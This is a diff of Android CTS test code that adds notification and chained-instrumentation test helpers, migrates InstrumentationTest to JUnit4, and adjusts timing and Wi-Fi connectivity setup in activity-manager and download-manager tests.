@@ -0,0 +1,82 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.test.notificationprovider
+
+import android.app.Activity
+import android.app.Notification
+import android.app.NotificationChannel
+import android.app.NotificationManager
+import android.content.Context
+import android.os.Bundle
+
+/**
+ * Used by NotificationManagerTest for testing policy around content uris.
+ */
+class RichNotificationActivity : Activity() {
+ companion object {
+ const val NOTIFICATION_CHANNEL_ID = "NotificationManagerTest"
+ const val EXTRA_ACTION = "action"
+ const val ACTION_SEND_7 = "send-7"
+ const val ACTION_SEND_8 = "send-8"
+ const val ACTION_CANCEL_7 = "cancel-7"
+ const val ACTION_CANCEL_8 = "cancel-8"
+ }
+
+ enum class NotificationPreset(val id: Int) {
+ Preset7(7),
+ Preset8(8);
+
+ fun build(context: Context): Notification {
+ val extras = Bundle()
+ extras.putString(Notification.EXTRA_BACKGROUND_IMAGE_URI,
+ "content://com.android.test.notificationprovider.provider/background$id.png")
+ return Notification.Builder(context, NOTIFICATION_CHANNEL_ID)
+ .setContentTitle("Rich Notification #$id")
+ .setSmallIcon(android.R.drawable.sym_def_app_icon)
+ .addExtras(extras)
+ .build()
+ }
+ }
+
+ public override fun onCreate(savedInstanceState: Bundle?) {
+ super.onCreate(savedInstanceState)
+ setContentView(R.layout.activity)
+ when (intent?.extras?.getString(EXTRA_ACTION)) {
+ ACTION_SEND_7 -> sendNotification(NotificationPreset.Preset7)
+ ACTION_SEND_8 -> sendNotification(NotificationPreset.Preset8)
+ ACTION_CANCEL_7 -> cancelNotification(NotificationPreset.Preset7)
+ ACTION_CANCEL_8 -> cancelNotification(NotificationPreset.Preset8)
+ else -> {
+ // reset both
+ cancelNotification(NotificationPreset.Preset7)
+ cancelNotification(NotificationPreset.Preset8)
+ }
+ }
+ finish()
+ }
+
+ private val notificationManager by lazy { getSystemService(NotificationManager::class.java)!! }
+
+ private fun sendNotification(preset: NotificationPreset) {
+ notificationManager.createNotificationChannel(NotificationChannel(NOTIFICATION_CHANNEL_ID,
+ "Notifications", NotificationManager.IMPORTANCE_DEFAULT))
+ notificationManager.notify(preset.id, preset.build(this))
+ }
+
+ private fun cancelNotification(preset: NotificationPreset) {
+ notificationManager.cancel(preset.id)
+ }
+}
\ No newline at end of file
diff --git a/tests/app/app/AndroidManifest.xml b/tests/app/app/AndroidManifest.xml
index 65cb4ab..b56ebc3 100644
--- a/tests/app/app/AndroidManifest.xml
+++ b/tests/app/app/AndroidManifest.xml
@@ -46,6 +46,7 @@
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
<uses-permission android:name="android.permission.USE_FULL_SCREEN_INTENT" />
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+ <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES" />
<application android:label="Android TestCase"
diff --git a/tests/app/app/src/android/app/stubs/LocalAlertService.java b/tests/app/app/src/android/app/stubs/LocalAlertService.java
index 52dbc58..b800c5b 100644
--- a/tests/app/app/src/android/app/stubs/LocalAlertService.java
+++ b/tests/app/app/src/android/app/stubs/LocalAlertService.java
@@ -15,24 +15,22 @@
*/
package android.app.stubs;
+import static android.view.Gravity.LEFT;
+import static android.view.Gravity.TOP;
+import static android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+import static android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE;
+import static android.view.WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+
import android.app.Service;
import android.content.Intent;
import android.graphics.Color;
import android.graphics.Point;
-import android.os.Bundle;
import android.os.IBinder;
-import android.util.Log;
import android.view.View;
import android.view.WindowManager;
import android.widget.TextView;
-import static android.view.Gravity.LEFT;
-import static android.view.Gravity.TOP;
-import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
-import static android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
-import static android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE;
-import static android.view.WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH;
-
public class LocalAlertService extends Service {
public static final String COMMAND_SHOW_ALERT = "show";
public static final String COMMAND_HIDE_ALERT = "hide";
@@ -48,6 +46,7 @@
} else if (COMMAND_HIDE_ALERT.equals(action)) {
hideAlertWindow(mAlertWindow);
mAlertWindow = null;
+ stopSelf();
}
return START_NOT_STICKY;
}
diff --git a/tests/app/app/src/android/app/stubs/LocalForegroundService.java b/tests/app/app/src/android/app/stubs/LocalForegroundService.java
index a8f4f48..12cae5d 100644
--- a/tests/app/app/src/android/app/stubs/LocalForegroundService.java
+++ b/tests/app/app/src/android/app/stubs/LocalForegroundService.java
@@ -32,7 +32,7 @@
public class LocalForegroundService extends LocalService {
private static final String TAG = "LocalForegroundService";
- protected static final String EXTRA_COMMAND = "LocalForegroundService.command";
+ public static final String EXTRA_COMMAND = "LocalForegroundService.command";
public static final String NOTIFICATION_CHANNEL_ID = "cts/" + TAG;
public static String ACTION_START_FGS_RESULT =
"android.app.stubs.LocalForegroundService.RESULT";
diff --git a/tests/app/src/android/app/cts/ActivityManagerApi29Test.java b/tests/app/src/android/app/cts/ActivityManagerApi29Test.java
index 28611c5..489ea95 100644
--- a/tests/app/src/android/app/cts/ActivityManagerApi29Test.java
+++ b/tests/app/src/android/app/cts/ActivityManagerApi29Test.java
@@ -44,6 +44,7 @@
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager.NameNotFoundException;
+import android.os.SystemClock;
import android.permission.cts.PermissionUtils;
import android.provider.DeviceConfig;
import android.provider.Settings;
@@ -201,6 +202,8 @@
*/
@Test
public void testFgsLocationWithAppOps() throws Exception {
+ // Sleep 12 seconds to let BAL grace period expire.
+ SystemClock.sleep(12000);
// Start a foreground service with location
startSimpleService();
// Wait for state and capability change.
diff --git a/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java b/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
index 711d0aa..e907063 100644
--- a/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
@@ -173,7 +173,8 @@
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_STOP_ACTIVITY,
PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
-
+ // Sleep 12 second to let BAL grace period expire.
+ SystemClock.sleep(12000);
uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
WatchUidRunner.STATE_CACHED_EMPTY,
new Integer(PROCESS_CAPABILITY_NONE));
@@ -228,7 +229,8 @@
uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
WatchUidRunner.STATE_TOP,
new Integer(PROCESS_CAPABILITY_ALL));
-
+ // Sleep 12 second to let BAL grace period expire.
+ SystemClock.sleep(12000);
// From package1, start FGSL in package2.
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_START_FOREGROUND_SERVICE_LOCATION,
@@ -249,7 +251,8 @@
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_STOP_ACTIVITY,
PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
-
+ // Sleep 12 second to let BAL grace period expire.
+ SystemClock.sleep(12000);
uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
WatchUidRunner.STATE_CACHED_EMPTY,
new Integer(PROCESS_CAPABILITY_NONE));
@@ -332,6 +335,8 @@
uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
WatchUidRunner.STATE_TOP,
new Integer(PROCESS_CAPABILITY_ALL));
+ // Sleep 12 second to let BAL grace period expire.
+ SystemClock.sleep(12000);
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_CREATE_FGSL_PENDING_INTENT,
PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
@@ -363,7 +368,8 @@
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_STOP_ACTIVITY,
PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
-
+ // Sleep 12 second to let BAL grace period expire.
+ SystemClock.sleep(12000);
uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
WatchUidRunner.STATE_CACHED_EMPTY,
new Integer(PROCESS_CAPABILITY_NONE));
diff --git a/tests/app/src/android/app/cts/ActivityManagerTest.java b/tests/app/src/android/app/cts/ActivityManagerTest.java
index 09165c1..c931d58 100644
--- a/tests/app/src/android/app/cts/ActivityManagerTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerTest.java
@@ -811,9 +811,9 @@
public void testKillingPidsOnImperceptible() throws Exception {
// Start remote service process
final String remoteProcessName = STUB_PACKAGE_NAME + ":remote";
- Intent intent = new Intent("android.app.REMOTESERVICE");
- intent.setPackage(STUB_PACKAGE_NAME);
- mTargetContext.startService(intent);
+ Intent remoteIntent = new Intent("android.app.REMOTESERVICE");
+ remoteIntent.setPackage(STUB_PACKAGE_NAME);
+ mTargetContext.startService(remoteIntent);
Thread.sleep(WAITFOR_MSEC);
RunningAppProcessInfo remote = getRunningAppProcessInfo(remoteProcessName);
@@ -826,7 +826,7 @@
if (disabled) {
executeAndLogShellCommand("cmd deviceidle enable light");
}
- intent = new Intent(Intent.ACTION_MAIN);
+ final Intent intent = new Intent(Intent.ACTION_MAIN);
intent.setClassName(SIMPLE_PACKAGE_NAME, SIMPLE_PACKAGE_NAME + SIMPLE_ACTIVITY);
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
mTargetContext.startActivity(intent);
@@ -897,6 +897,7 @@
triggerIdle(false);
toggleScreenOn(true);
appStartedReceiver.close();
+ mTargetContext.stopService(remoteIntent);
if (disabled) {
executeAndLogShellCommand("cmd deviceidle disable light");
diff --git a/tests/app/src/android/app/cts/BaseChainedInstrumentation.java b/tests/app/src/android/app/cts/BaseChainedInstrumentation.java
new file mode 100644
index 0000000..d265263
--- /dev/null
+++ b/tests/app/src/android/app/cts/BaseChainedInstrumentation.java
@@ -0,0 +1,92 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts;
+
+import android.app.Activity;
+import android.app.Application;
+import android.app.Instrumentation;
+import android.content.ComponentName;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
+import android.os.Message;
+import android.os.Messenger;
+import android.os.RemoteException;
+
+/**
+ * Base class supporting "chained" instrumentation: start another instrumentation while
+ * running the current instrumentation.
+ */
+public class BaseChainedInstrumentation extends Instrumentation {
+ static final String EXTRA_MESSENGER = "messenger";
+
+ final ComponentName mNestedInstrComp;
+
+ /** Constructor */
+ public BaseChainedInstrumentation(ComponentName nestedInstrComp) {
+ mNestedInstrComp = nestedInstrComp;
+ }
+
+ @Override
+ public void onCreate(Bundle arguments) {
+ super.onCreate(arguments);
+ final String proc = getProcessName();
+ final String appProc = Application.getProcessName();
+ if (!proc.equals(appProc)) {
+ throw new RuntimeException(String.format(
+ "getProcessName()s mismatch. Instr=%s App=%s", proc, appProc));
+ }
+ final Bundle result = new Bundle();
+ result.putBoolean(proc, true);
+ if (mNestedInstrComp != null) {
+ // We're in the main process.
+ // Because the Context#startInstrumentation doesn't support result watcher,
+ // we'd have to craft a private way to relay the result back.
+ final Handler handler = new Handler(Looper.myLooper(), msg -> {
+ final Bundle nestedResult = (Bundle) msg.obj;
+ result.putAll(nestedResult);
+ finish(Activity.RESULT_OK, result);
+ return true;
+ });
+ final Messenger messenger = new Messenger(handler);
+ final Bundle extras = new Bundle();
+ extras.putParcelable(EXTRA_MESSENGER, messenger);
+ getContext().startInstrumentation(mNestedInstrComp, null, extras);
+ scheduleTimeoutCleanup();
+ } else {
+ final Messenger messenger = arguments.getParcelable(EXTRA_MESSENGER);
+ final Message msg = Message.obtain();
+ try {
+ msg.obj = result;
+ messenger.send(msg);
+ } catch (RemoteException e) {
+ } finally {
+ msg.recycle();
+ }
+ finish(Activity.RESULT_OK, result);
+ }
+ }
+
+ private void scheduleTimeoutCleanup() {
+ new Handler(Looper.myLooper()).postDelayed(() -> {
+ Bundle result = new Bundle();
+ result.putString("FAILURE",
+ "Timed out waiting for sub-instrumentation to complete");
+ finish(Activity.RESULT_CANCELED, result);
+ }, 20 * 1000);
+ }
+}
diff --git a/tests/app/src/android/app/cts/ChainedInstrumentationFirst.java b/tests/app/src/android/app/cts/ChainedInstrumentationFirst.java
new file mode 100644
index 0000000..0fd22b0
--- /dev/null
+++ b/tests/app/src/android/app/cts/ChainedInstrumentationFirst.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts;
+
+import android.content.ComponentName;
+
+/**
+ * Chained instrumentation test class.
+ */
+public final class ChainedInstrumentationFirst extends BaseChainedInstrumentation {
+ static final String PACKAGE_NAME = "android.app.cts";
+ /** Constructor */
+ public ChainedInstrumentationFirst() {
+ super(new ComponentName(PACKAGE_NAME, PACKAGE_NAME + ".ChainedInstrumentationSecond"));
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/tests/app/src/android/app/cts/ChainedInstrumentationSecond.java
similarity index 70%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
copy to tests/app/src/android/app/cts/ChainedInstrumentationSecond.java
index 1a335c7..ebed475 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
+++ b/tests/app/src/android/app/cts/ChainedInstrumentationSecond.java
@@ -14,9 +14,14 @@
* limitations under the License.
*/
-package android.security.cts.cve_2021_0642;
+package android.app.cts;
-import android.app.Activity;
-
-public class PocActivity extends Activity {
+/**
+ * Chained instrumentation test class.
+ */
+public final class ChainedInstrumentationSecond extends BaseChainedInstrumentation {
+ /** Constructor */
+ public ChainedInstrumentationSecond() {
+ super(null);
+ }
}
diff --git a/tests/app/src/android/app/cts/DownloadManagerTestBase.java b/tests/app/src/android/app/cts/DownloadManagerTestBase.java
index fd9009a..3f6928f 100644
--- a/tests/app/src/android/app/cts/DownloadManagerTestBase.java
+++ b/tests/app/src/android/app/cts/DownloadManagerTestBase.java
@@ -18,6 +18,7 @@
import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertTrue;
@@ -30,7 +31,9 @@
import android.content.Intent;
import android.content.pm.PackageManager;
import android.database.Cursor;
+import android.net.ConnectivityManager;
import android.net.Uri;
+import android.net.wifi.WifiManager;
import android.os.Bundle;
import android.os.FileUtils;
import android.os.ParcelFileDescriptor;
@@ -89,14 +92,19 @@
protected Context mContext;
protected DownloadManager mDownloadManager;
+ private WifiManager mWifiManager;
+ private ConnectivityManager mCm;
private CtsTestServer mWebServer;
@Before
public void setUp() throws Exception {
mContext = InstrumentationRegistry.getTargetContext();
mDownloadManager = (DownloadManager) mContext.getSystemService(Context.DOWNLOAD_SERVICE);
+ mWifiManager = mContext.getSystemService(WifiManager.class);
+ mCm = mContext.getSystemService(ConnectivityManager.class);
mWebServer = new CtsTestServer(mContext);
clearDownloads();
+ checkConnection();
}
@After
@@ -204,6 +212,23 @@
return getFileData(uri, "_data");
}
+ private void checkConnection() throws Exception {
+ if (!hasConnectedNetwork(mCm)) {
+ Log.d(TAG, "Enabling WiFi to ensure connectivity for this test");
+ runShellCommand("svc wifi enable");
+ runWithShellPermissionIdentity(mWifiManager::reconnect,
+ android.Manifest.permission.NETWORK_SETTINGS);
+ final long startTime = SystemClock.elapsedRealtime();
+ while (!hasConnectedNetwork(mCm)
+ && (SystemClock.elapsedRealtime() - startTime) < SHORT_TIMEOUT) {
+ Thread.sleep(500);
+ }
+ if (!hasConnectedNetwork(mCm)) {
+ Log.d(TAG, "Unable to connect to any network");
+ }
+ }
+ }
+
private static String getFileData(Uri uri, String projection) throws Exception {
final Context context = InstrumentationRegistry.getTargetContext();
final String[] projections = new String[] { projection };
@@ -382,6 +407,10 @@
}.run();
}
+ private static boolean hasConnectedNetwork(final ConnectivityManager cm) {
+ return cm.getActiveNetwork() != null;
+ }
+
protected void assertSuccessfulDownload(long id, File location) throws Exception {
Cursor cursor = null;
try {
diff --git a/tests/app/src/android/app/cts/InstrumentationHelperService.java b/tests/app/src/android/app/cts/InstrumentationHelperService.java
new file mode 100644
index 0000000..0c4f48d
--- /dev/null
+++ b/tests/app/src/android/app/cts/InstrumentationHelperService.java
@@ -0,0 +1,83 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts;
+
+import android.app.Service;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.ResultReceiver;
+
+import java.util.concurrent.CountDownLatch;
+
+/**
+ * The helper class to start an instrumentation from a different process.
+ */
+public class InstrumentationHelperService extends Service {
+ private static final String ACTION_START_INSTRUMENTATION =
+ "android.app.cts.ACTION_START_INSTRUMENTATION";
+ private static final String EXTRA_INSTRUMENTATIION_NAME = "instrumentation_name";
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ @Override
+ public int onStartCommand(Intent intent, int flags, int startId) {
+ final String action = intent.getAction();
+ if (ACTION_START_INSTRUMENTATION.equals(action)) {
+ final String instrumentationName = intent.getStringExtra(EXTRA_INSTRUMENTATIION_NAME);
+ final ResultReceiver r = intent.getParcelableExtra(Intent.EXTRA_RESULT_RECEIVER);
+
+ boolean result = false;
+ try {
+ startInstrumentation(
+ ComponentName.unflattenFromString(instrumentationName), null, null);
+ result = true;
+ } catch (SecurityException e) {
+ }
+ r.send(result ? 1 : 0, null);
+ }
+ return START_NOT_STICKY;
+ }
+
+ /**
+ * Start the given instrumentation from this service and return result.
+ */
+ static boolean startInstrumentation(Context context, String instrumentationName)
+ throws InterruptedException {
+ final Intent intent = new Intent(ACTION_START_INSTRUMENTATION);
+ final boolean[] resultHolder = new boolean[1];
+ final CountDownLatch latch = new CountDownLatch(1);
+ final ResultReceiver r = new ResultReceiver(null) {
+ @Override
+ protected void onReceiveResult(int resultCode, Bundle resultData) {
+ resultHolder[0] = resultCode == 1;
+ latch.countDown();
+ }
+ };
+ intent.putExtra(EXTRA_INSTRUMENTATIION_NAME, instrumentationName);
+ intent.putExtra(Intent.EXTRA_RESULT_RECEIVER, r);
+ intent.setClassName("android.app.cts", "android.app.cts.InstrumentationHelperService");
+ context.startService(intent);
+ latch.await();
+ return resultHolder[0];
+ }
+}
diff --git a/tests/app/src/android/app/cts/InstrumentationTest.java b/tests/app/src/android/app/cts/InstrumentationTest.java
index d80d5fe..52cdc5f 100644
--- a/tests/app/src/android/app/cts/InstrumentationTest.java
+++ b/tests/app/src/android/app/cts/InstrumentationTest.java
@@ -16,6 +16,15 @@
package android.app.cts;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
+
import android.app.Activity;
import android.app.Application;
import android.app.Instrumentation;
@@ -36,7 +45,7 @@
import android.os.Bundle;
import android.os.Debug;
import android.os.SystemClock;
-import android.test.InstrumentationTestCase;
+import android.os.SystemProperties;
import android.test.UiThreadTest;
import android.view.InputQueue;
import android.view.KeyCharacterMap;
@@ -48,12 +57,21 @@
import android.view.ViewGroup.LayoutParams;
import android.view.Window;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.PollingCheck;
import com.android.compatibility.common.util.SystemUtil;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
import java.util.List;
-public class InstrumentationTest extends InstrumentationTestCase {
+@RunWith(AndroidJUnit4.class)
+public class InstrumentationTest {
private static final int WAIT_TIME = 1000;
@@ -67,10 +85,9 @@
private Context mContext;
private MockActivity mMockActivity;
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- mInstrumentation = getInstrumentation();
+ @Before
+ public void setUp() throws Exception {
+ mInstrumentation = InstrumentationRegistry.getInstrumentation();
mContext = mInstrumentation.getTargetContext();
mIntent = new Intent(mContext, InstrumentationTestActivity.class);
mIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
@@ -78,46 +95,86 @@
PollingCheck.waitFor(mActivity::hasWindowFocus);
}
- protected void tearDown() throws Exception {
+ @After
+ public void tearDown() throws Exception {
mInstrumentation = null;
mIntent = null;
if (mActivity != null) {
mActivity.finish();
mActivity = null;
}
- super.tearDown();
}
+ @Test
public void testDefaultProcessInstrumentation() throws Exception {
String cmd = "am instrument -w android.app.cts/.DefaultProcessInstrumentation";
- String result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+ String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
assertEquals("INSTRUMENTATION_RESULT: " + SIMPLE_PACKAGE_NAME + "=true" +
"\nINSTRUMENTATION_CODE: -1\n", result);
}
+ @Test
public void testAltProcessInstrumentation() throws Exception {
String cmd = "am instrument -w android.app.cts/.AltProcessInstrumentation";
- String result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+ String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
assertEquals("INSTRUMENTATION_RESULT: " + SIMPLE_PACKAGE_NAME + ":other=true" +
"\nINSTRUMENTATION_CODE: -1\n", result);
}
+ @Test
public void testWildcardProcessInstrumentation() throws Exception {
String cmd = "am instrument -w android.app.cts/.WildcardProcessInstrumentation";
- String result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+ String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
assertEquals("INSTRUMENTATION_RESULT: " + SIMPLE_PACKAGE_NAME + "=true" +
"\nINSTRUMENTATION_RESULT: " + SIMPLE_PACKAGE_NAME + ":receiver=true" +
"\nINSTRUMENTATION_CODE: -1\n", result);
}
+ @Test
public void testMultiProcessInstrumentation() throws Exception {
String cmd = "am instrument -w android.app.cts/.MultiProcessInstrumentation";
- String result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+ String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
assertEquals("INSTRUMENTATION_RESULT: " + SIMPLE_PACKAGE_NAME + "=true" +
"\nINSTRUMENTATION_RESULT: " + SIMPLE_PACKAGE_NAME + ":other=true" +
"\nINSTRUMENTATION_CODE: -1\n", result);
}
+ @Test
+ public void testEnforceStartFromShell() throws Exception {
+ assumeFalse(SystemProperties.getBoolean("ro.debuggable", false));
+ // Start the instrumentation from shell, it should succeed.
+ final String defaultInstrumentationName = "android.app.cts/.DefaultProcessInstrumentation";
+ String cmd = "am instrument -w " + defaultInstrumentationName;
+ String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
+ assertEquals("INSTRUMENTATION_RESULT: " + SIMPLE_PACKAGE_NAME + "=true"
+ + "\nINSTRUMENTATION_CODE: -1\n", result);
+ // Start the instrumentation by ourselves, it should succeed (chained instrumentation).
+ mContext.startInstrumentation(
+ ComponentName.unflattenFromString(defaultInstrumentationName), null, null);
+ // Start the instrumentation from another process, this time it should fail.
+ SystemUtil.runShellCommand(mInstrumentation,
+ "cmd deviceidle tempwhitelist android.app.cts");
+ try {
+ assertFalse(InstrumentationHelperService.startInstrumentation(
+ mContext, defaultInstrumentationName));
+ } finally {
+ SystemUtil.runShellCommand(mInstrumentation,
+ "cmd deviceidle tempwhitelist -r android.app.cts");
+ }
+ }
+
+ @Test
+ public void testChainedInstrumentation() throws Exception {
+ final String testPkg1 = "com.android.test.cantsavestate1";
+ final String testPkg2 = "com.android.test.cantsavestate2";
+ String cmd = "am instrument -w android.app.cts/.ChainedInstrumentationFirst";
+ String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
+ assertEquals("INSTRUMENTATION_RESULT: " + testPkg1 + "=true"
+ + "\nINSTRUMENTATION_RESULT: " + testPkg2 + "=true"
+ + "\nINSTRUMENTATION_CODE: -1\n", result);
+ }
+
+ @Test
public void testMonitor() throws Exception {
if (mActivity != null)
mActivity.finish();
@@ -158,6 +215,7 @@
mInstrumentation.removeMonitor(am);
}
+ @Test
public void testCallActivityOnCreate() throws Throwable {
mActivity.setOnCreateCalled(false);
runTestOnUiThread(new Runnable() {
@@ -169,6 +227,7 @@
assertTrue(mActivity.isOnCreateCalled());
}
+ @Test
public void testAllocCounting() throws Exception {
mInstrumentation.startAllocCounting();
@@ -203,6 +262,7 @@
assertEquals(threadAllocCount, Debug.getThreadAllocCount());
}
+ @Test
public void testSendTrackballEventSync() throws Exception {
long now = SystemClock.uptimeMillis();
MotionEvent orig = MotionEvent.obtain(now, now, MotionEvent.ACTION_DOWN,
@@ -216,18 +276,21 @@
assertEquals(orig.getDownTime(), motionEvent.getDownTime());
}
+ @Test
public void testCallApplicationOnCreate() throws Exception {
InstrumentationTestStub ca = new InstrumentationTestStub();
mInstrumentation.callApplicationOnCreate(ca);
assertTrue(ca.mIsOnCreateCalled);
}
+ @Test
public void testContext() throws Exception {
Context c1 = mInstrumentation.getContext();
Context c2 = mInstrumentation.getTargetContext();
assertNotSame(c1.getPackageName(), c2.getPackageName());
}
+ @Test
public void testInvokeMenuActionSync() throws Exception {
final int resId = R.id.goto_menu_id;
if (mActivity.getWindow().hasFeature(Window.FEATURE_OPTIONS_PANEL)) {
@@ -238,6 +301,7 @@
}
}
+ @Test
public void testCallActivityOnPostCreate() throws Throwable {
mActivity.setOnPostCreate(false);
runTestOnUiThread(new Runnable() {
@@ -249,6 +313,7 @@
assertTrue(mActivity.isOnPostCreate());
}
+ @Test
public void testCallActivityOnNewIntent() throws Throwable {
mActivity.setOnNewIntentCalled(false);
runTestOnUiThread(new Runnable() {
@@ -261,6 +326,7 @@
assertTrue(mActivity.isOnNewIntentCalled());
}
+ @Test
public void testCallActivityOnResume() throws Throwable {
mActivity.setOnResume(false);
runTestOnUiThread(new Runnable() {
@@ -272,15 +338,18 @@
assertTrue(mActivity.isOnResume());
}
+ @Test
public void testMisc() throws Exception {
}
+ @Test
public void testPerformanceSnapshot() throws Exception {
mInstrumentation.setAutomaticPerformanceSnapshots();
mInstrumentation.startPerformanceSnapshot();
mInstrumentation.endPerformanceSnapshot();
}
+ @Test
public void testProfiling() throws Exception {
// by default, profiling was disabled. but after set the handleProfiling attribute in the
// manifest file for this Instrumentation to true, the profiling was also disabled.
@@ -290,6 +359,7 @@
mInstrumentation.stopProfiling();
}
+ @Test
public void testInvokeContextMenuAction() throws Exception {
mActivity.runOnUiThread(new Runnable() {
public void run() {
@@ -306,6 +376,7 @@
assertEquals(flag, mMockActivity.mWindow.mFlags);
}
+ @Test
public void testSendStringSync() {
final String text = "abcd";
mInstrumentation.sendStringSync(text);
@@ -326,6 +397,7 @@
}
}
+ @Test
public void testCallActivityOnSaveInstanceState() throws Throwable {
final Bundle bundle = new Bundle();
mActivity.setOnSaveInstanceState(false);
@@ -340,6 +412,7 @@
assertSame(bundle, mActivity.getBundle());
}
+ @Test
public void testSendPointerSync() throws Exception {
mInstrumentation.waitForIdleSync();
mInstrumentation.setInTouchMode(true);
@@ -362,13 +435,15 @@
mActivity.setOnTouchEventCalled(false);
}
+ @Test
public void testGetComponentName() throws Exception {
- ComponentName com = getInstrumentation().getComponentName();
+ ComponentName com = mInstrumentation.getComponentName();
assertNotNull(com.getPackageName());
assertNotNull(com.getClassName());
assertNotNull(com.getShortClassName());
}
+ @Test
public void testNewApplication() throws Exception {
final String className = "android.app.stubs.MockApplication";
ClassLoader cl = getClass().getClassLoader();
